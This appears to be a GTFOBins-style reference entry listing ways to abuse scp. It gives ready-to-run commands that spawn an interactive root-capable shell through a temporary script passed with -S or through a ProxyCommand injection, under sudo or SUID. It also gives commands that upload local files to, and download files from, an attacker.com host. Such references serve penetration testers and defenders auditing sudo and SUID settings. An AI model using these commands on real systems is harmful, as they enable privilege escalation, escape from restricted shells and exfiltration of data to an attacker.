Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
    chmod +x /path/to/temp-file
    scp -S /path/to/temp-file x x:
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
    chmod +x /path/to/temp-file
    scp -S /path/to/temp-file x x:
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
    chmod +x /path/to/temp-file
    scp -S /path/to/temp-file x x:
  2. This function can be performed by any unprivileged user.
    scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    scp /path/to/input-file user@attacker.com:/path/to/output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    scp /path/to/input-file user@attacker.com:/path/to/output-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    scp /path/to/input-file user@attacker.com:/path/to/output-file
    ReceiverAn SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    scp user@attacker.com:/path/to/input-file /path/to/output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    scp user@attacker.com:/path/to/input-file /path/to/output-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    scp user@attacker.com:/path/to/input-file /path/to/output-file
    SenderAn SSH server can be used on the attacker box to send the data.